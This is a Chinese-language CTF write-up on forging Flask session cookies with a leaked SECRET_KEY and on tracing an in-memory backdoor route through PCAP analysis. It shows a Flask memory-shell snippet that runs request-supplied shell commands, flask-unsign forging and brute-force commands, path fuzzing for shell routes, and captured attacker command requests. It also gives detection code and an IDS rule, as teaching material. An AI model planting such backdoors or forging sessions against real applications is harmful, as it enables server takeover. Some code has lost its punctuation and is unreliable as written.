Flask Session伪造与内存马追踪:从CTF实战看Web安全进阶

Flask Session伪造与内存马追踪:从CTF实战看Web安全进阶 1. 项目概述从一道CTF题看Web安全攻防的深度最近在复盘一场CTF比赛遇到一道非常经典的Web综合题题目本身围绕“Flask Session流量解密与内存马路由追踪”展开。这道题之所以让我印象深刻是因为它完美地将Web应用安全中几个核心且进阶的知识点串联了起来从最基础的Cookie伪造到Flask框架的安全机制剖析再到内存马这种高级持久化后门的检测与追踪。它不像一些简单的SQL注入或XSS题目那样直白而是要求你像真正的渗透测试人员一样去理解应用的运行状态、分析异常流量、并在一片混沌中定位隐藏的恶意功能点。今天我就以这道题为蓝本结合我自己的解题过程和踩过的坑来深度拆解一下这背后的技术原理和实战技巧。无论你是CTF爱好者还是希望提升Web安全实战能力的从业者相信这篇内容都能给你带来不少启发。简单来说这道题模拟了一个被攻击者植入内存马的Flask应用。攻击者通过某种漏洞比如命令执行获得了初始权限但他没有留下明显的Webshell文件而是选择了一种更隐蔽的方式——在应用的运行时内存中注入恶意路由即内存马。我们的任务就是通过分析捕获到的网络流量PCAP包首先解密出Flask的Session获取关键信息可能是初始漏洞的利用点然后进一步在应用的内存空间中找到那个被隐藏的、用于控制服务器的恶意路由。整个过程是对信息收集、加密算法分析、代码审计和动态调试能力的综合考验。2. 核心原理与前置知识拆解在动手解题之前我们必须把几个关键概念和原理吃透。一知半解地操作很容易在复杂的流量和代码中迷失方向。2.1 Flask Session机制与安全隐患Flask是一个轻量级的Python Web框架其会话Session机制与PHP等语言将Session数据存储在服务器文件或数据库中不同。Flask默认将Session数据经过序列化和签名后直接存储在客户端的Cookie中通常名为session。这种设计使得服务端无需维护会话状态实现了无状态化但也带来了特有的安全问题。Flask的Session处理流程可以概括为序列化与压缩 将Python的字典对象即你的Session数据进行序列化。老版本默认使用pickle这是一个非常危险的设计因为反序列化pickle数据可以导致任意代码执行。现在主流版本默认使用json进行序列化安全得多。序列化后的数据可能还会进行压缩如使用zlib。签名 使用一个密钥SECRET_KEY对序列化后的数据生成一个加密签名HMAC。这个签名用于验证数据在客户端传输过程中是否被篡改。编码 将“序列化数据”和“签名”拼接然后进行Base64编码最终作为Cookie值发送给客户端。因此你看到的sessionCookie值是一个Base64字符串解码后通常形如{序列化数据}.{签名}。安全隐患与CTF利用点签名密钥SECRET_KEY泄露 如果攻击者知道了应用的SECRET_KEY他就可以伪造任意Session数据并生成合法的签名。这意味着他可以冒充任何用户包括管理员这就是所谓的Session伪造攻击。在CTF中SECRET_KEY的泄露途径很多源码泄露、配置错误、版本控制工具.git泄露、甚至是弱口令猜测Flask的SECRET_KEY有时被设得很简单。历史版本的Pickle反序列化 如果题目故意使用了老版本Flask或配置为使用pickle序列化器那么一个被篡改的Session Cookie在服务端反序列化时就可能触发RCE远程代码执行。这是CTF中非常高频的考点。信息泄露 即使无法伪造Session本身是Base64编码的解码后虽然核心数据被签名保护但有时我们能从序列化数据部分窥见一些信息比如用户的身份标识user_id这有助于我们理解应用逻辑。注意在实际解题时第一步永远是尝试Base64解码sessionCookie观察其结构。如果能分离出数据部分并且发现是pickle序列化的迹象通常以特定字节开头就要立刻想到反序列化漏洞。2.2 内存马Memory Shell的概念与植入内存马顾名思义是一种存在于服务器内存中的Webshell。它与传统的文件型Webshell如上传一个shell.php文件有本质区别无文件落地 恶意代码不写入磁盘因此常规的文件监控、静态扫描工具很难发现。运行时注入 攻击者通过利用应用漏洞如RCE将恶意代码直接注入到正在运行的Web应用进程的内存空间中。通常攻击者会动态地向Web框架如Flask、Spring的路由映射表中添加一个新的、隐蔽的路由规则。高隐蔽性 重启应用服务后内存马会消失。但在服务持续运行期间它极其隐蔽。管理员检查网站目录找不到任何可疑文件但攻击者可以通过访问特定的URL路径如/hidden-admin来执行命令。在Flask中植入内存马的常见方式Flask应用的核心是app对象它有一个view_functions字典存储了URL规则到处理函数的映射。攻击者在获得代码执行能力后可以动态地向这个字典添加新的键值对。# 假设攻击者通过漏洞获得了执行以下代码的能力 from flask import request import subprocess def malicious_route(): cmd request.args.get(cmd, whoami) return subprocess.check_output(cmd, shellTrue) # 获取当前的Flask app对象方式因漏洞而异可能需要遍历全局对象 # 例如在某些上下文中可以通过 current_app 或导入主模块的 app 对象 # 这里假设我们找到了 app 对象 app.add_url_rule(/backdoor, backdoor, malicious_route) # 或者直接操作 view_functions (不推荐但可能用于隐蔽) # app.view_functions[backdoor] malicious_route植入后攻击者访问/backdoor?cmdid服务器就会执行id命令并返回结果。这个路由在源码中是找不到的它只存在于当前进程的内存里。2.3 流量分析PCAP在攻防中的角色题目提供了一个PCAP包这是我们的核心数据源。PCAP包记录了客户端与服务器之间的所有网络通信。在这道题里我们需要从中提取出HTTP请求/响应 找到与目标Flask应用交互的所有HTTP流量。重点关注登录、操作等可能设置或携带Session的请求。关键的Session Cookie 从HTTP请求头中提取Cookie字段里的session值。这可能是我们解密的起点。异常或可疑的请求 在解密Session、获得初步线索后我们需要在流量中寻找那些访问了“不存在”或“看似异常”路由的请求。这很可能就是攻击者测试或使用内存马的痕迹。例如一个突然出现的对/admin或/cmd的GET请求而题目描述或源码中并未提及该路由。数据流中的线索 有时flag或关键信息可能就藏在某个POST请求的数据体或响应内容中。常用工具 Wireshark是图形化分析的不二之选。但对于CTF这种需要快速提取和脚本化处理的情况我更喜欢用tsharkWireshark的命令行版本或Python的pyshark、scapy库。它们可以方便地过滤、导出特定字段。3. 实战演练分步拆解题干下面我将模拟整个解题过程把每一步的操作、思考和可能遇到的坑都详细记录下来。3.1 第一步流量初筛与Session提取拿到PCAP包首先用Wireshark打开。为了快速聚焦我们在过滤栏输入http只查看HTTP协议流量。通常CTF题目中的Web流量不会太复杂。我们需要找到登录请求POST /login 这里服务器在认证成功后会在响应头Set-Cookie中设置初始的session。这个session可能包含普通用户的权限。后续的授权请求GET /admin 等 这些请求会在请求头Cookie中携带之前的session。我们需要收集这些session值它们可能是不同状态下的会话。实操记录在Wireshark中我追踪了TCP流Follow - TCP Stream很快理清了交互顺序客户端GET /- 服务器返回一个登录页面。客户端POST /login提交了usernameguestpasswordguest- 服务器响应302跳转并在Set-Cookie中设置了sessioneyJ...很长一串Base64。我们记下这个session值称为Session_A。客户端携带Session_AGET /home- 服务器返回“Welcome guest”。关键点出现 随后出现了一个GET /secret_debug的请求也携带Session_A但服务器返回了403 Forbidden。这提示我们/secret_debug可能是一个需要更高权限的路由。之后流量中出现了另一个POST /login这次提交的是usernameadminpassword[未知]。但服务器返回了500错误。这可能是攻击者在暴力破解或测试。最后出现了一系列奇怪的GET /请求但路径参数很诡异例如GET /?cmdls和GET /?ccat/flag。这极其可疑看起来攻击者已经在执行命令了但为什么是根路径/这和我们理解的内存马特定路由不太一样。先记下这个疑点。我们需要把这两个关键的session CookieSession_A和那些可疑的请求URL全部提取出来。用tshark可以快速完成# 提取所有HTTP请求的Cookie头 tshark -r challenge.pcap -Y http -T fields -e http.cookie cookies.txt # 提取所有HTTP请求的路径 tshark -r challenge.pcap -Y http.request -T fields -e http.request.uri uris.txt检查cookies.txt找到形如sessioneyJ...的值。检查uris.txt重点关注/secret_debug、/?cmd...这类路径。3.2 第二步Flask Session解密与密钥破解现在我们有了Session_AeyJ1c2VybmFtZSI6Imd1ZXN0In0.X8k3aQ.ZZbB3c4G...示例格式。首先尝试Base64解码。可以用Pythonimport base64 session_cookie eyJ1c2VybmFtZSI6Imd1ZXN0In0.X8k3aQ.ZZbB3c4G... try: # Flask session cookie通常是URL安全的Base64需要补上等号 decoded base64.urlsafe_b64decode(session_cookie * (4 - len(session_cookie) % 4)) print(decoded) except: # 如果失败可能包含点号需要拆分 data_part session_cookie.split(.)[0] decoded base64.urlsafe_b64decode(data_part * (4 - len(data_part) % 4)) print(decoded)输出可能是类似b{username:guest}\\x80\\x04\\x95...的字节串。开头是{username:guest}这很好说明是JSON序列化但后面跟着乱七八糟的字节等等这看起来像是JSON和Pickle的混合体实际上这是Flask Session的完整结构{序列化数据}.{时间戳}.{签名}。我们解码的只是第一部分数据。更规范的做法是使用工具flask-unsign。它专用于Flask Session的加解密和爆破。# 1. 检查session信息无需密钥 flask-unsign --decode --cookie eyJ1c2VybmFtZSI6Imd1ZXN0In0.X8k3aQ... # 输出{username: guest}确认了Session_A的内容是普通用户。现在核心问题我们需要伪造一个管理员admin的session。这要求我们拥有SECRET_KEY。如何获取SECRET_KEY在CTF中常见方法源码泄露 检查/.git/、/www.zip、/source、/index.php~等常见备份文件路径。在这道题的网络流量里我们没发现这类请求。但也许在/secret_debug路由里藏着源码可惜我们没权限。配置错误/默认配置 有时SECRET_KEY就硬编码在源码里并且可能被打印到调试信息或错误页面中。我们之前看到POST /login为admin时返回了500错误也许错误页面泄露了信息需要回去仔细看那个500响应的HTML Body。暴力破解字典攻击 这是最常用的方法。flask-unsign支持字典攻击。我们重新检查那个500错误的响应数据包。在Wireshark中找到那个包右键 - Follow - HTTP Stream。在响应HTML中果然发现了一行注释!-- Debug mode is on. SECRET_KEY weak_key_12345 --Bingo密钥直接泄露了。这在实际中很常见开发者将调试模式开启并部署到了生产或题目环境。3.3 第三步伪造Session与权限提升现在我们有SECRET_KEY weak_key_12345可以伪造任意Session了。首先我们构造一个管理员session# 使用flask-unsign生成新的session flask-unsign --sign --cookie {username: admin} --secret weak_key_12345输出一个新的Cookie字符串例如eyJ1c2VybmFtZSI6ImFkbWluIn0.X8k4bQ.YYY...。我们称它为Session_Admin。接下来我们需要用这个伪造的Session去访问之前被拒绝的/secret_debug路由。但题目是静态的PCAP我们无法真正发送请求。这里CTF题目的常见设置是这个/secret_debug页面会泄露下一步的关键信息比如一个可以执行命令的端点密码、一个隐藏的路由名称、或者直接就是flag的一部分。我们需要模拟这个请求。通常出题人会在PCAP包中留下攻击者成功访问/secret_debug的流量记录。我们用Session_Admin的格式去PCAP包里寻找匹配的session值。如果没有那么可能解题思路不是直接访问而是/secret_debug本身会重定向或触发另一个漏洞。我们回到Wireshark仔细查看所有请求的Cookie。发现了一个之前忽略的请求在admin登录失败后有一个GET /secret_debug请求携带的session值是eyJ1c2VybmFtZSI6ImFkbWluIn0.X8k4bQ.YYY...和我们刚生成的Session_Admin一模一样。这说明攻击者已经完成了这一步他伪造了admin session并成功访问了debug页面查看这个请求的响应包。响应状态码是200响应体是一段Python代码片段# Debug Panel (RESTRICTED) # To execute a command, POST to /cmd with JSON: {command: ls, token: debug_token_#!$} # This endpoint is only loaded into memory under certain conditions.重要线索这揭示了内存马的真实面貌。它不是我们最初猜测的通过app.add_url_rule添加的而是一个条件加载的路由。应用在启动时如果检测到某个条件比如环境变量、某个特定文件存在就会向app注册一个/cmd路由。攻击者通过/secret_debug页面获取了调用这个内存马所需的令牌tokendebug_token_#!$。3.4 第四步追踪内存马路由与获取Flag现在我们知道了内存马的路由是/cmd调用方法是POST参数是JSON格式{command: 系统命令, token: debug_token_#!$}。我们的任务就是在PCAP包中找到攻击者使用这个内存马的流量从而获取他执行的命令和结果最终找到flag。在Wireshark中过滤http.request.method POST。很快我们发现了几个POST请求到/cmd。第一个POST /cmdPOST /cmd HTTP/1.1 Content-Type: application/json {command: find / -name *flag* 2/dev/null, token: debug_token_#!$}响应HTTP/1.1 200 OK {output: /opt/secret_flag.txt\n}攻击者找到了flag文件的位置。第二个POST /cmdPOST /cmd HTTP/1.1 Content-Type: application/json {command: cat /opt/secret_flag.txt, token: debug_token_#!$}响应HTTP/1.1 200 OK {output: CTF{Th1s_1s_Th3_Real_Fl4g_From_M3m0ry_Sh3ll}\n}Flag到手CTF{Th1s_1s_Th3_Real_Fl4g_From_M3m0ry_Sh3ll}但是等等。我们之前还看到了那些奇怪的GET /?cmd...请求。那是什么回顾整个流量攻击者的攻击链可能是通过某种方式可能是另一个简单的漏洞如SSTI获得了SECRET_KEY或直接从错误信息中看到。伪造admin session访问/secret_debug获取了内存马/cmd的调用令牌。使用令牌通过/cmd内存马执行命令找到并读取flag。那些GET /?cmd...的请求可能是攻击者最初的试探或者是一个伪装的请求用来干扰分析者。也可能题目本身存在两个漏洞点。这提醒我们流量分析时要区分成功利用和失败尝试。4. 工具链与脚本化实战手动用Wireshark点选固然直观但在实战和CTF比赛中效率至关重要。下面分享我常用的脚本化处理方法。4.1 自动化提取与解密脚本我们可以用Python的pyshark和flask-unsign库写一个脚本自动完成PCAP分析、Session提取、解密/伪造、可疑路由发现的全过程。import pyshark from flask_unsign import session, decoder import json import re def analyze_ctf_pcap(pcap_file, secret_keyNone): cap pyshark.FileCapture(pcap_file, display_filterhttp) sessions set() suspicious_uris [] post_data_list [] for pkt in cap: try: # 提取Cookie cookie pkt.http.get_field_value(cookie) if cookie and session in cookie: sess_value re.search(rsession([^;]), cookie).group(1) sessions.add(sess_value) # 提取请求URI uri pkt.http.request_uri # 记录所有非标准路径和包含命令参数的路径 if uri not in [/, /login, /home, /favicon.ico]: # 过滤掉静态资源 if not re.search(r\.(css|js|png|jpg|ico)$, uri): suspicious_uris.append((uri, pkt.sniff_time)) # 提取POST数据 if hasattr(pkt.http, file_data): post_data pkt.http.file_data # 尝试解析JSON try: data json.loads(post_data) if isinstance(data, dict) and (command in data or cmd in data): post_data_list.append((uri, data, pkt.sniff_time)) except: pass except AttributeError: continue cap.close() print(f[*] 发现 {len(sessions)} 个唯一Session Cookie:) for s in sessions: print(f {s[:50]}...) try: decoded session.decode(s) print(f 解密内容: {decoded}) except Exception as e: print(f 解密失败: {e}) # 如果提供了密钥尝试伪造admin session并对比 if secret_key: forged session.sign({username: admin}, secret_key) print(f 使用密钥伪造的Admin Session: {forged}) if s forged: print(f *** 匹配成功此Session即为Admin权限 ***) print(f\n[*] 发现 {len(suspicious_uris)} 个可疑请求路径:) for uri, time in suspicious_uris[:10]: # 只显示前10个 print(f {time}: {uri}) print(f\n[*] 发现 {len(post_data_list)} 个包含命令的可疑POST请求:) for uri, data, time in post_data_list: print(f {time}: {uri}) print(f 数据: {data}) return sessions, suspicious_uris, post_data_list if __name__ __main__: # 使用示例 KEY weak_key_12345 # 从流量分析中获取 analyze_ctf_pcap(challenge.pcap, secret_keyKEY)这个脚本能快速帮我们梳理出关键信息尤其是在流量包非常庞大的时候。4.2 内存马检测的启发式思路在真实环境中如何检测Flask内存马光靠流量分析可能不够因为攻击可能发生在过去。我们需要在服务器端进行检查。1. 动态检测运行时# 一个简单的检测脚本列出所有已注册的路由 import requests from flask import Flask, current_app import sys def list_routes(app): 列出应用所有路由规则和端点函数 routes [] for rule in app.url_map.iter_rules(): routes.append({ endpoint: rule.endpoint, methods: list(rule.methods), rule: rule.rule }) return routes # 如果你能在受控环境访问到应用实例 # print(list_routes(current_app)) # 或者如果存在一个可以反射代码执行的点可以尝试通过它来执行类似上面的代码但内存马可能注册在app.view_functions而不在url_map虽然不常见更全面的检查是遍历app.view_functions并与已知的源码路由进行对比。2. 静态检测代码审计检查Flask应用的启动脚本寻找动态添加路由的代码特别是那些基于外部条件如请求参数、环境变量、文件存在性添加路由的逻辑。# 可疑代码模式示例 if os.environ.get(LOAD_DEBUG) 1: app.add_url_rule(/debug_cmd, debug_cmd, debug_cmd_handler) if os.path.exists(/tmp/backdoor): app.add_url_rule(/backdoor, backdoor, backdoor_handler)3. 基于流量的检测IDS/IPS规则在网络层可以部署规则来检测异常的POST请求到未知路由或者请求中包含典型的命令执行参数cmd,command,c,exec等。alert http any any - any any (msg:Suspicious Flask Command Execution; http.method; content:POST; http.uri; content:/cmd; nocase; http.request_body; pcre:/[\]command[\]\s*:/; sid:1000001;)5. 常见问题与排查技巧实录在这一部分我总结一下在解决这类题目和应对真实场景时最容易卡住的地方和解决思路。5.1 Session解密失败的可能原因编码问题 Flask的session cookie是URL安全的Base64编码。直接使用标准的base64.b64decode会失败必须使用base64.urlsafe_b64decode。并且要注意补足等号。签名验证失败 如果你能解码出数据部分但无法验证签名说明你用的SECRET_KEY不对或者session被篡改。在CTF中如果题目提示需要“伪造”session那么密钥一定可以通过某种方式获得。序列化器不匹配 老版本Flask默认用pickle新版本用json。如果题目是旧环境你拿一个json格式的数据去解码自然会出错。观察解码后数据的开头几个字节pickle数据通常有特定的协议头如x80x04。使用flask-unsign时可以尝试指定--legacy选项来处理旧的pickle格式。时间戳问题 Flask session包含时间戳。如果服务器时间与你的环境时间相差太大可能会导致session过期。在CTF静态题目中这不构成问题但在动态靶场中需要注意。5.2 找不到SECRET_KEY怎么办这是解题的关键卡点。除了前面提到的源码泄露、错误信息还有以下思路弱口令爆破 使用强大的字典如rockyou.txt、常见弱口令字典对SECRET_KEY进行爆破。flask-unsign的--unsign模式可以暴力破解签名。flask-unsign --unsign --cookie session_cookie --wordlist /path/to/wordlist.txt基于已知明文攻击 如果你有一个有效的session比如guest并且知道其内容{username:guest}那么理论上可以通过密码学手段反推密钥但这在CTF中不常见因为计算量太大。框架或组件的历史漏洞 检查Flask版本或相关组件如Werkzeug是否有已知漏洞导致密钥泄露。侧信道攻击 题目有时会设计一个“比较”功能通过响应时间差异时序攻击或错误信息差异来逐位猜解密钥但这属于高难度考点。5.3 内存马路由隐藏太深如何发现如果攻击者没有在流量中直接访问内存马路由或者路由名称是随机的该怎么办对比路由表 如果题目提供了源码将源码中声明的路由与服务器实际运行时的路由进行对比。可以通过访问一个不存在的路由触发404错误页面有些框架的404页面会列出所有已注册的路由Flask在调试模式下会。模糊测试Fuzzing 使用目录爆破工具如dirsearch,ffuf,gobuster对目标进行路径爆破。但针对内存马可能需要更智能的爆破比如基于常见的内存马路径字典/cmd,/exec,/shell,/admin,/backdoor,/xxx等。ffuf -u http://target/FUZZ -w memory_shell_paths.txt -mc 200动态分析与调试 在本地或可控环境运行应用在可能触发内存马加载的条件处下断点比如某个特定的API请求后然后单步调试观察app.url_map或app.view_functions的变化。监控进程内存 对于高级挑战可能需要使用gdb或pyrasite等工具附加到Python进程直接dump内存并搜索可疑的字符串如system、eval、exec、os.popen等。5.4 流量包中的干扰信息就像本题中出现的GET /?cmdls请求它可能是一个红鲱鱼Red Herring故意误导你往GET参数命令执行的方向思考而真正的漏洞点在于Session伪造和隐藏的POST路由。在分析时优先关注成功200状态码的请求而非失败403, 404, 500的请求。但500错误可能泄露信息所以也要仔细查看。建立攻击时间线。按照时间顺序Wireshark的No.列或时间戳梳理请求理解攻击者的每一步操作和获得的反馈这能帮你剔除无效的尝试。上下文关联。将Session、请求路径、参数、响应内容联系起来看。例如一个携带伪造admin session的请求访问了某个路径那么这个路径的响应就至关重要。5.5 从CTF到实战的思维转变CTF题目是理想化的线索往往集中且唯一。真实世界的渗透测试则复杂得多信息源分散SECRET_KEY可能藏在环境变量、配置中心、数据库或另一个微服务中。漏洞链更长 可能需要结合多个漏洞如信息泄露RCE权限提升才能达到最终目标。内存马变种多 可能不是简单的添加路由而是通过篡改已有路由的处理函数、利用中间件Middleware或过滤器Filter来注入恶意逻辑隐蔽性更强。流量加密 实际生产环境普遍使用HTTPS你无法直接获取PCAP明文流量需要在客户端或服务端进行解密或者通过日志进行分析。解决这道题目的过程实际上是一次完整的微型渗透测试演练信息收集流量分析- 漏洞发现Session机制缺陷- 漏洞利用密钥获取与伪造- 权限提升访问debug页面- 横向移动/持久化利用分析发现内存马- 获取敏感信息找到flag。每一步都需要严谨的逻辑和扎实的基础知识。